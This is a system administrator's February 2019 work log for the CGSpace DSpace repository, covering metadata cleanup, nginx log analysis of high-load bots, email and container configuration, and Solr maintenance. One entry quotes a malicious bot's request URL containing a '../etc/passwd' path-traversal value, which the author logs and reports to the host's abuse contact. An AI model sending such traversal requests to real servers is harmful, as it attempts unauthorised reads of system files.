  • Peter had marked several terms with || to indicate multiple values in his corrections so I will have to go back and do those manually:
    • +
+
EMPODERAMENTO DE JOVENS,EMPODERAMENTO||JOVENS
+ENVIRONMENTAL PROTECTION AND NATURAL RESOURCES MANAGEMENT,NATURAL RESOURCES MANAGEMENT||ENVIRONMENT
+FISHERIES AND AQUACULTURE,FISHERIES||AQUACULTURE
+MARKETING AND TRADE,MARKETING||TRADE
+MARKETING ET COMMERCE,MARKETING||COMMERCE
+NATURAL RESOURCES AND ENVIRONMENT,NATURAL RESOURCES MANAGEMENT||ENVIRONMENT
+PÊCHES ET AQUACULTURE,PÊCHES||AQUACULTURE
+PESCAS E AQUACULTURE,PISCICULTURA||AQUACULTURE
+

2019-02-06

+
    +
  • I dumped the CTA community so I can try to fix the subjects with multiple subjects that Peter indicated in his corrections:
    • +
+
$ dspace metadata-export -i 10568/42211 -f /tmp/cta.csv
+
    +
  • Then I used csvcut to get only the CTA subject columns:
    • +
+
$ csvcut -c "id,collection,cg.subject.cta,cg.subject.cta[],cg.subject.cta[en_US]" /tmp/cta.csv > /tmp/cta-subjects.csv
+
    +
  • After that I imported the CSV into OpenRefine where I could properly identify and edit the subjects as multiple values
    • +
  • Then I imported it back into CGSpace:
    • +
+
$ dspace metadata-import -f /tmp/2019-02-06-CTA-multiple-subjects.csv
+
    +
  • Another day, another alert about high load on CGSpace (linode18) from Linode
    • +
  • This time the load average was 370% and the top ten IPs before, during, and after that time were:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "06/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    689 35.237.175.180
+   1236 5.9.6.51
+   1305 34.218.226.147
+   1580 66.249.66.219
+   1939 50.116.102.77
+   2313 108.212.105.35
+   4666 205.186.128.185
+   4666 70.32.83.92
+   4950 85.25.237.71
+   5158 45.5.186.2
+
    +
  • Looking closer at the top users, I see 45.5.186.2 is in Brazil and was making over 100 requests per minute to the REST API:
    • +
+
# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 | grep 45.5.186.2 | grep -o -E '06/Feb/2019:0[0-9]:[0-9][0-9]' | uniq -c | sort -n | tail -n 10
+    118 06/Feb/2019:05:46
+    119 06/Feb/2019:05:37
+    119 06/Feb/2019:05:47
+    120 06/Feb/2019:05:43
+    120 06/Feb/2019:05:44
+    121 06/Feb/2019:05:38
+    122 06/Feb/2019:05:39
+    125 06/Feb/2019:05:42
+    126 06/Feb/2019:05:40
+    126 06/Feb/2019:05:41
+
    +
  • I was thinking of rate limiting those because I assumed most of them would be errors, but actually most are HTTP 200 OK!
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E '06/Feb/2019' | grep 45.5.186.2 | awk '{print $9}' | sort | uniq -c
+  10411 200
+      1 301
+      7 302
+      3 404
+     18 499
+      2 500
+
    +
  • I should probably start looking at the top IPs for web (XMLUI) and for API (REST and OAI) separately:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "06/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    328 220.247.212.35
+    372 66.249.66.221
+    380 207.46.13.2
+    519 2a01:4f8:140:3192::2
+    572 5.143.231.8
+    689 35.237.175.180
+    771 108.212.105.35
+   1236 5.9.6.51
+   1554 66.249.66.219
+   4942 85.25.237.71
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "06/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     10 66.249.66.221
+     26 66.249.66.219
+     69 5.143.231.8
+    340 45.5.184.72
+   1040 34.218.226.147
+   1542 108.212.105.35
+   1937 50.116.102.77
+   4661 205.186.128.185
+   4661 70.32.83.92
+   5102 45.5.186.2
+

2019-02-07

+
    +
  • Linode sent an alert last night that the load on CGSpace (linode18) was over 300%
    • +
  • Here are the top IPs in the web server and API logs before, during, and after that time, respectively:
    • +
+
# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "06/Feb/2019:(17|18|19|20|23)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      5 66.249.66.209
+      6 2a01:4f8:210:51ef::2
+      6 40.77.167.75
+      9 104.198.9.108
+      9 157.55.39.192
+     10 157.55.39.244
+     12 66.249.66.221
+     20 95.108.181.88
+     27 66.249.66.219
+   2381 45.5.186.2
+# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "06/Feb/2019:(17|18|19|20|23)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    455 45.5.186.2
+    506 40.77.167.75
+    559 54.70.40.11
+    825 157.55.39.244
+    871 2a01:4f8:140:3192::2
+    938 157.55.39.192
+   1058 85.25.237.71
+   1416 5.9.6.51
+   1606 66.249.66.219
+   1718 35.237.175.180
+
    +
  • Then again this morning another alert:
    • +
+
# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "07/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      5 66.249.66.223
+      8 104.198.9.108
+     13 110.54.160.222
+     24 66.249.66.219
+     25 175.158.217.98
+    214 34.218.226.147
+    346 45.5.184.72
+   4529 45.5.186.2
+   4661 205.186.128.185
+   4661 70.32.83.92
+# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "07/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    145 157.55.39.237
+    154 66.249.66.221
+    214 34.218.226.147
+    261 35.237.175.180
+    273 2a01:4f8:140:3192::2
+    300 169.48.66.92
+    487 5.143.231.39
+    766 5.9.6.51
+    771 85.25.237.71
+    848 66.249.66.219
+
    +
  • So it seems that the load issue comes from the REST API, not the XMLUI
    • +
  • I could probably rate limit the REST API, or maybe just keep increasing the alert threshold so I don’t get alert spam (this is probably the correct approach because it seems like the REST API can keep up with the requests and is returning HTTP 200 status as far as I can tell)
    • +
  • Bosede from IITA sent a message that a colleague is having problems submitting to some collections in their community:
    • +
+
Authorization denied for action WORKFLOW_STEP_1 on COLLECTION:1056 by user 1759
+
+

IITA Posters and Presentations workflow step 1 empty

+
    +
  • IITA editors or approvers should be added to that step (though I’m curious why nobody is in that group currently)
    • +
  • Abenet says we are not using the “Accept/Reject” step so this group should be deleted
    • +
  • Bizuwork asked about the “DSpace Submission Approved and Archived” emails that stopped working last month
    • +
  • I tried the test-email command on DSpace and it indeed is not working:
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: aorth@mjanja.ch
+ - Subject: DSpace test email
+ - Server: smtp.serv.cgnet.com
+
+Error sending email:
+ - Error: javax.mail.MessagingException: Could not connect to SMTP host: smtp.serv.cgnet.com, port: 25;
+  nested exception is:
+        java.net.ConnectException: Connection refused (Connection refused)
+
+Please see the DSpace documentation for assistance.
+
    +
  • I can’t connect to TCP port 25 on that server so I sent a mail to CGNET support to ask what’s up
    • +
  • CGNET said these servers were discontinued in 2018-01 and that I should use Office 365
    • +
+

2019-02-08

+
    +
  • I re-configured CGSpace to use the email/password for cgspace-support, but I get this error when I try the test-email script:
    • +
+
Error sending email:
+ - Error: com.sun.mail.smtp.SMTPSendFailedException: 530 5.7.57 SMTP; Client was not authenticated to send anonymous mail during MAIL FROM [AM6PR10CA0028.EURPRD10.PROD.OUTLOOK.COM]
+
    +
  • I tried to log into Outlook 365 with the credentials but I think the ones I have must be wrong, so I will ask ICT to reset the password
    • +
+

2019-02-09

+
    +
  • Linode sent alerts about CPU load yesterday morning, yesterday night, and this morning! All over 300% CPU load!
    • +
  • This is just for this morning:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "09/Feb/2019:(07|08|09|10|11)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    289 35.237.175.180
+    290 66.249.66.221
+    296 18.195.78.144
+    312 207.46.13.201
+    393 207.46.13.64
+    526 2a01:4f8:140:3192::2
+    580 151.80.203.180
+    742 5.143.231.38
+   1046 5.9.6.51
+   1331 66.249.66.219
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "09/Feb/2019:(07|08|09|10|11)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      4 66.249.83.30
+      5 49.149.10.16
+      8 207.46.13.64
+      9 207.46.13.201
+     11 105.63.86.154
+     11 66.249.66.221
+     31 66.249.66.219
+    297 2001:41d0:d:1990::
+    908 34.218.226.147
+   1947 50.116.102.77
+
    +
  • I know 66.249.66.219 is Google, 5.9.6.51 is MegaIndex, and 5.143.231.38 is SputnikBot
    • +
  • Ooh, but 151.80.203.180 is some malicious bot making requests for /etc/passwd like this:
    • +
+
/bitstream/handle/10568/68981/Identifying%20benefit%20flows%20studies%20on%20the%20potential%20monetary%20and%20non%20monetary%20benefits%20arising%20from%20the%20International%20Treaty%20on%20Plant%20Genetic_1671.pdf?sequence=1&amp;isAllowed=../etc/passwd
+
    +
  • 151.80.203.180 is on OVH so I sent a message to their abuse email…
    • +
+

2019-02-10

+
    +
  • Linode sent another alert about CGSpace (linode18) CPU load this morning, here are the top IPs in the web server XMLUI and API logs before, during, and after that time:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "10/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    232 18.195.78.144
+    238 35.237.175.180
+    281 66.249.66.221
+    314 151.80.203.180
+    319 34.218.226.147
+    326 40.77.167.178
+    352 157.55.39.149
+    444 2a01:4f8:140:3192::2
+   1171 5.9.6.51
+   1196 66.249.66.219
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "10/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      6 112.203.241.69
+      7 157.55.39.149
+      9 40.77.167.178
+     15 66.249.66.219
+    368 45.5.184.72
+    432 50.116.102.77
+    971 34.218.226.147
+   4403 45.5.186.2
+   4668 205.186.128.185
+   4668 70.32.83.92
+
    +
  • Another interesting thing might be the total number of requests for web and API services during that time:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -cE "10/Feb/2019:0(5|6|7|8|9)"
+16333
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -cE "10/Feb/2019:0(5|6|7|8|9)"
+15964
+
    +
  • Also, the number of unique IPs served during that time:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "10/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq | wc -l
+1622
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "10/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq | wc -l
+95
+
    +
  • It’s very clear to me now that the API requests are the heaviest!
    • +
  • I think I need to increase the Linode alert threshold from 300 to 350% now so I stop getting some of these alerts—it’s becoming a bit of the boy who cried wolf because it alerts like clockwork twice per day!
    • +
  • Add my Python- and shell-based metadata workflow helper scripts as well as the environment settings for pipenv to our DSpace repository (#408) so I can track changes and distribute them more formally instead of just keeping them collected on the wiki
    • +
  • Started adding IITA research theme (cg.identifier.iitatheme) to CGSpace +
      +
    • I’m still waiting for feedback from IITA whether they actually want to use “SOCIAL SCIENCE & AGRIC BUSINESS” because it is listed as “Social Science and Agribusiness” on their website
      • +
    • Also, I think they want to do some mappings of items with existing subjects to these new themes
      • +
    +
    • +
  • Update ILRI author name style in the controlled vocabulary (Domelevo Entfellner, Jean-Baka) (#409) +
      +
    • I’m still waiting to hear from Bizuwork whether we’ll batch update all existing items with the old name style
      • +
    • No, there is only one entry and Bizu already fixed it
      • +
    +
    • +
  • Last week Hector Tobon from CCAFS asked me about the Creative Commons 3.0 Intergovernmental Organizations (IGO) license because it is not in the list of SPDX licenses + +
    • +
  • Testing the mail.server.disabled property that I noticed in dspace.cfg recently +
      +
    • Setting it to true results in the following message when I try the dspace test-email helper on DSpace Test:
      • +
    +
    • +
+
Error sending email:
+ - Error: cannot test email because mail.server.disabled is set to true
+
    +
  • I’m not sure why I didn’t know about this configuration option before, and always maintained multiple configurations for development and production + +
    • +
  • I updated my local Sonatype nexus Docker image and had an issue with the volume for some reason so I decided to just start from scratch:
    • +
+
# docker rm nexus
+# docker pull sonatype/nexus3
+# mkdir -p /home/aorth/.local/lib/containers/volumes/nexus_data
+# chown 200:200 /home/aorth/.local/lib/containers/volumes/nexus_data
+# docker run --name nexus --network dspace-build -d -v /home/aorth/.local/lib/containers/volumes/nexus_data:/nexus-data -p 8081:8081 sonatype/nexus3
+
+
# docker pull docker.bintray.io/jfrog/artifactory-oss:latest
+# mkdir -p /home/aorth/.local/lib/containers/volumes/artifactory5_data
+# chown 1030 /home/aorth/.local/lib/containers/volumes/artifactory5_data
+# docker run --name artifactory --network dspace-build -d -v /home/aorth/.local/lib/containers/volumes/artifactory5_data:/var/opt/jfrog/artifactory -p 8081:8081 docker.bintray.io/jfrog/artifactory-oss
+

2019-02-11

+
    +
  • Bosede from IITA said we can use “SOCIAL SCIENCE & AGRIBUSINESS” in their new IITA theme field to be consistent with other places they are using it
    • +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
+

2019-02-12

+ +
$ vipsthumbnail alc_contrastes_desafios.pdf -s 300 -o '%s.jpg[Q=92,optimize_coding,strip]'
+
    +
  • (DSpace 5 appears to use JPEG 92 quality so I do the same)
    • +
  • Thinking about making “top items” endpoints in my dspace-statistics-api
    • +
  • I could use the following SQL queries very easily to get the top items by views or downloads:
    • +
+
dspacestatistics=# SELECT * FROM items WHERE views > 0 ORDER BY views DESC LIMIT 10;
+dspacestatistics=# SELECT * FROM items WHERE downloads > 0 ORDER BY downloads DESC LIMIT 10;
+
    +
  • I’d have to think about what to make the REST API endpoints, perhaps: /statistics/top/items?limit=10
    • +
  • But how do I do top items by views / downloads separately?
    • +
  • I re-deployed DSpace 6.3 locally to test the PDFBox thumbnails, especially to see if they handle CMYK files properly +
      +
    • The quality is JPEG 75 and I don’t see a way to set the thumbnail dimensions, but the resulting image is indeed sRGB:
      • +
    +
    • +
+
$ identify -verbose alc_contrastes_desafios.pdf.jpg
+...
+  Colorspace: sRGB
+
    +
  • I will read the PDFBox thumbnailer documentation to see if I can change the size and quality
    • +
+

2019-02-13

+
    +
  • ILRI ICT reset the password for the CGSpace mail account, but I still can’t get it to send mail from DSpace’s test-email utility
    • +
  • I even added extra mail properties to dspace.cfg as suggested by someone on the dspace-tech mailing list:
    • +
+
mail.extraproperties = mail.smtp.starttls.required = true, mail.smtp.auth=true
+
    +
  • But the result is still:
    • +
+
Error sending email:
+ - Error: com.sun.mail.smtp.SMTPSendFailedException: 530 5.7.57 SMTP; Client was not authenticated to send anonymous mail during MAIL FROM [AM6PR06CA0001.eurprd06.prod.outlook.com]
+
    +
  • I tried to log into the Outlook 365 web mail and it doesn’t work so I’ve emailed ILRI ICT again
    • +
  • After reading the common mistakes in the JavaMail FAQ I reconfigured the extra properties in DSpace’s mail configuration to be simply:
    • +
+
mail.extraproperties = mail.smtp.starttls.enable=true
+
    +
  • … and then I was able to send a mail using my personal account where I know the credentials work
    • +
  • The CGSpace account still gets this error message:
    • +
+
Error sending email:
+ - Error: javax.mail.AuthenticationFailedException
+
+
$ dspace user --delete --email blah@cta.int
+$ dspace user --add --givenname Thierry --surname Lewyllie --email blah@cta.int --password 'blah'
+
    +
  • On this note, I saw a thread on the dspace-tech mailing list that says this functionality exists if you enable webui.user.assumelogin = true
    • +
  • I will enable this on CGSpace (#411)
    • +
  • Test re-creating my local PostgreSQL and Artifactory containers with podman instead of Docker (using the volumes from my old Docker containers though):
    • +
+
# podman pull postgres:9.6-alpine
+# podman run --name dspacedb -v /home/aorth/.local/lib/containers/volumes/dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+# podman pull docker.bintray.io/jfrog/artifactory-oss
+# podman run --name artifactory -d -v /home/aorth/.local/lib/containers/volumes/artifactory5_data:/var/opt/jfrog/artifactory -p 8081:8081 docker.bintray.io/jfrog/artifactory-oss
+
    +
  • Totally works… awesome!
    • +
  • Then I tried with rootless containers by creating the subuid and subgid mappings for aorth:
    • +
+
$ sudo touch /etc/subuid /etc/subgid
+$ usermod --add-subuids 10000-75535 aorth
+$ usermod --add-subgids 10000-75535 aorth
+$ sudo sysctl kernel.unprivileged_userns_clone=1
+$ podman pull postgres:9.6-alpine
+$ podman run --name dspacedb -v /home/aorth/.local/lib/containers/volumes/dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+
    +
  • Which totally works, but Podman’s rootless support doesn’t work with port mappings yet…
    • +
  • Deploy the Tomcat-7-from-tarball branch on CGSpace (linode18), but first stop the Ubuntu Tomcat 7 and do some basic prep before running the Ansible playbook:
    • +
+
# systemctl stop tomcat7
+# apt remove tomcat7 tomcat7-admin
+# useradd -m -r -s /bin/bash dspace
+# mv /usr/share/tomcat7/.m2 /home/dspace
+# mv /usr/share/tomcat7/src /home/dspace
+# chown -R dspace:dspace /home/dspace
+# chown -R dspace:dspace /home/cgspace.cgiar.org
+# dpkg -P tomcat7-admin tomcat7-common
+
    +
  • After running the playbook CGSpace came back up, but I had an issue with some Solr cores not being loaded (similar to last month) and this was in the Solr log:
    • +
+
2019-02-14 18:17:31,304 ERROR org.apache.solr.core.SolrCore @ org.apache.solr.common.SolrException: Error CREATEing SolrCore 'statistics-2018': Unable to create core [statistics-2018] Caused by: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2018/data/index/write.lock
+
    +
  • The issue last month was address space, which is now set as LimitAS=infinity in tomcat7.service…
    • +
  • I re-ran the Ansible playbook to make sure all configs etc were the, then rebooted the server
    • +
  • Still the error persists after reboot
    • +
  • I will try to stop Tomcat and then remove the locks manually:
    • +
+
# find /home/cgspace.cgiar.org/solr/ -iname "write.lock" -delete
+
    +
  • After restarting Tomcat the usage statistics are back
    • +
  • Interestingly, many of the locks were from last month, last year, and even 2015! I’m pretty sure that’s not supposed to be how locks work…
    • +
  • Help Sarah Kasyoka finish an item submission that she was having issues with due to the file size
    • +
  • I increased the nginx upload limit, but she said she was having problems and couldn’t really tell me why
    • +
  • I logged in as her and completed the submission with no problems…
    • +
+

2019-02-15

+
    +
  • Tomcat was killed around 3AM by the kernel’s OOM killer according to dmesg:
    • +
+
[Fri Feb 15 03:10:42 2019] Out of memory: Kill process 12027 (java) score 670 or sacrifice child
+[Fri Feb 15 03:10:42 2019] Killed process 12027 (java) total-vm:14108048kB, anon-rss:5450284kB, file-rss:0kB, shmem-rss:0kB
+[Fri Feb 15 03:10:43 2019] oom_reaper: reaped process 12027 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • The tomcat7 service shows:
    • +
+
Feb 15 03:10:44 linode19 systemd[1]: tomcat7.service: Main process exited, code=killed, status=9/KILL
+
    +
  • I suspect it was related to the media-filter cron job that runs at 3AM but I don’t see anything particular in the log files
    • +
  • I want to try to normalize the text_lang values to make working with metadata easier
    • +
  • We currently have a bunch of weird values that DSpace uses like NULL, en_US, and en and others that have been entered manually by editors:
    • +
+
dspace=# SELECT DISTINCT text_lang, count(*) FROM metadatavalue WHERE resource_type_id=2 GROUP BY text_lang ORDER BY count DESC;
+ text_lang |  count
+-----------+---------
+           | 1069539
+ en_US     |  577110
+           |  334768
+ en        |  133501
+ es        |      12
+ *         |      11
+ es_ES     |       2
+ fr        |       2
+ spa       |       2
+ E.        |       1
+ ethnob    |       1
+
    +
  • The majority are NULL, en_US, the blank string, and en—the rest are not enough to be significant
    • +
  • Theoretically this field could help if you wanted to search for Spanish-language fields in the API or something, but even for the English fields there are two different values (and those are from DSpace itself)!
    • +
  • I’m going to normalized these to NULL at least on DSpace Test for now:
    • +
+
dspace=# UPDATE metadatavalue SET text_lang = NULL WHERE resource_type_id=2 AND text_lang IS NOT NULL;
+UPDATE 1045410
+
    +
  • I started proofing IITA’s 2019-01 records that Sisay uploaded this week +
      +
    • There were 259 records in IITA’s original spreadsheet, but there are 276 in Sisay’s collection
      • +
    • Also, I found that there are at least twenty duplicates in these records that we will need to address
      • +
    +
    • +
  • ILRI ICT fixed the password for the CGSpace support email account and I tested it on Outlook 365 web and DSpace and it works
    • +
  • Re-create my local PostgreSQL container to for new PostgreSQL version and to use podman’s volumes:
    • +
+
$ podman pull postgres:9.6-alpine
+$ podman volume create dspacedb_data
+$ podman run --name dspacedb -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost dspace_2019-02-11.backup
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+
    +
  • And it’s all running without root!
    • +
  • Then re-create my Artifactory container as well, taking into account ulimit open file requirements by Artifactory as well as the user limitations caused by rootless subuid mappings:
    • +
+
$ podman volume create artifactory_data
+artifactory_data
+$ podman create --ulimit nofile=32000:32000 --name artifactory -v artifactory_data:/var/opt/jfrog/artifactory -p 8081:8081 docker.bintray.io/jfrog/artifactory-oss
+$ buildah unshare
+$ chown -R 1030:1030 ~/.local/share/containers/storage/volumes/artifactory_data
+$ exit
+$ podman start artifactory
+
+

2019-02-17

+
    +
  • I ran DSpace’s cleanup task on CGSpace (linode18) and there were errors:
    • +
+
$ dspace cleanup -v
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(162844) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (162844);'
+UPDATE 1
+
    +
  • I merged the Atmire Metadata Quality Module (MQM) changes to the 5_x-prod branch and deployed it on CGSpace (#407)
    • +
  • Then I ran all system updates on CGSpace server and rebooted it
    • +
+

2019-02-18

+
    +
  • Jesus fucking Christ, Linode sent an alert that CGSpace (linode18) was using 421% CPU for a few hours this afternoon (server time):
    • +
  • There seems to have been a lot of activity in XMLUI:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "18/Feb/2019:1(2|3|4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1236 18.212.208.240
+   1276 54.164.83.99
+   1277 3.83.14.11
+   1282 3.80.196.188
+   1296 3.84.172.18
+   1299 100.24.48.177
+   1299 34.230.15.139
+   1327 52.54.252.47
+   1477 5.9.6.51
+   1861 94.71.244.172
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "18/Feb/2019:1(2|3|4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      8 42.112.238.64
+      9 121.52.152.3
+      9 157.55.39.50
+     10 110.54.151.102
+     10 194.246.119.6
+     10 66.249.66.221
+     15 190.56.193.94
+     28 66.249.66.219
+     43 34.209.213.122
+    178 50.116.102.77
+# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "18/Feb/2019:1(2|3|4|5|6)" | awk '{print $1}' | sort | uniq | wc -l
+2727
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "18/Feb/2019:1(2|3|4|5|6)" | awk '{print $1}' | sort | uniq | wc -l
+186
+
    +
  • 94.71.244.172 is in Greece and uses the user agent “Indy Library”
    • +
  • At least they are re-using their Tomcat session:
    • +
+
$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=94.71.244.172' dspace.log.2019-02-18 | sort | uniq | wc -l
+
    +
  • +

    The following IPs were all hitting the server hard simultaneously and are located on Amazon and use the user agent “Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0”:

    +
      +
    • 52.54.252.47
      • +
    • 34.230.15.139
      • +
    • 100.24.48.177
      • +
    • 3.84.172.18
      • +
    • 3.80.196.188
      • +
    • 3.83.14.11
      • +
    • 54.164.83.99
      • +
    • 18.212.208.240
      • +
    +
    • +
  • +

    Actually, even up to the top 30 IPs are almost all on Amazon and use the same user agent!

    +
    • +
  • +

    For reference most of these IPs hitting the XMLUI this afternoon are on Amazon:

    +
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "18/Feb/2019:1(2|3|4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 30
+   1173 52.91.249.23
+   1176 107.22.118.106
+   1178 3.88.173.152
+   1179 3.81.136.184
+   1183 34.201.220.164
+   1183 3.89.134.93
+   1184 54.162.66.53
+   1187 3.84.62.209
+   1188 3.87.4.140
+   1189 54.158.27.198
+   1190 54.209.39.13
+   1192 54.82.238.223
+   1208 3.82.232.144
+   1209 3.80.128.247
+   1214 54.167.64.164
+   1219 3.91.17.126
+   1220 34.201.108.226
+   1221 3.84.223.134
+   1222 18.206.155.14
+   1231 54.210.125.13
+   1236 18.212.208.240
+   1276 54.164.83.99
+   1277 3.83.14.11
+   1282 3.80.196.188
+   1296 3.84.172.18
+   1299 100.24.48.177
+   1299 34.230.15.139
+   1327 52.54.252.47
+   1477 5.9.6.51
+   1861 94.71.244.172
+
    +
  • In the case of 52.54.252.47 they are only making about 10 requests per minute during this time (albeit from dozens of concurrent IPs):
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep 52.54.252.47 | grep -o -E '18/Feb/2019:1[0-9]:[0-9][0-9]' | uniq -c | sort -n | tail -n 10
+     10 18/Feb/2019:17:20
+     10 18/Feb/2019:17:22
+     10 18/Feb/2019:17:31
+     11 18/Feb/2019:13:21
+     11 18/Feb/2019:15:18
+     11 18/Feb/2019:16:43
+     11 18/Feb/2019:16:57
+     11 18/Feb/2019:16:58
+     11 18/Feb/2019:18:34
+     12 18/Feb/2019:14:37
+
    +
  • As this user agent is not recognized as a bot by DSpace this will definitely fuck up the usage statistics
    • +
  • There were 92,000 requests from these IPs alone today!
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -c 'Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0'
+92756
+
    +
  • I will add this user agent to the “badbots” rate limiting in our nginx configuration
    • +
  • I realized that I had effectively only been applying the “badbots” rate limiting to requests at the root, so I added it to the other blocks that match Discovery, Browse, etc as well
    • +
  • IWMI sent a few new ORCID identifiers for us to add to our controlled vocabulary
    • +
  • I will merge them with our existing list and then resolve their names using my resolve-orcids.py script:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml 2019-02-18-IWMI-ORCID-IDs.txt  | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2019-02-18-combined-orcids.txt
+$ ./resolve-orcids.py -i /tmp/2019-02-18-combined-orcids.txt -o /tmp/2019-02-18-combined-names.txt -d
+# sort names, copy to cg-creator-id.xml, add XML formatting, and then format with tidy (preserving accents)
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I merged the changes to the 5_x-prod branch and they will go live the next time we re-deploy CGSpace (#412)
    • +
+

2019-02-19

+
    +
  • Linode sent another alert about CPU usage on CGSpace (linode18) averaging 417% this morning
    • +
  • Unfortunately, I don’t see any strange activity in the web server API or XMLUI logs at that time in particular
    • +
  • So far today the top ten IPs in the XMLUI logs are:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "19/Feb/2019:" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+  11541 18.212.208.240
+  11560 3.81.136.184
+  11562 3.88.237.84
+  11569 34.230.15.139
+  11572 3.80.128.247
+  11573 3.91.17.126
+  11586 54.82.89.217
+  11610 54.209.39.13
+  11657 54.175.90.13
+  14686 143.233.242.130
+
    +
  • 143.233.242.130 is in Greece and using the user agent “Indy Library”, like the top IP yesterday (94.71.244.172)
    • +
  • That user agent is in our Tomcat list of crawlers so at least its resource usage is controlled by forcing it to use a single Tomcat session, but I don’t know if DSpace recognizes if this is a bot or not, so the logs are probably skewed because of this
    • +
  • The user is requesting only things like /handle/10568/56199?show=full so it’s nothing malicious, only annoying
    • +
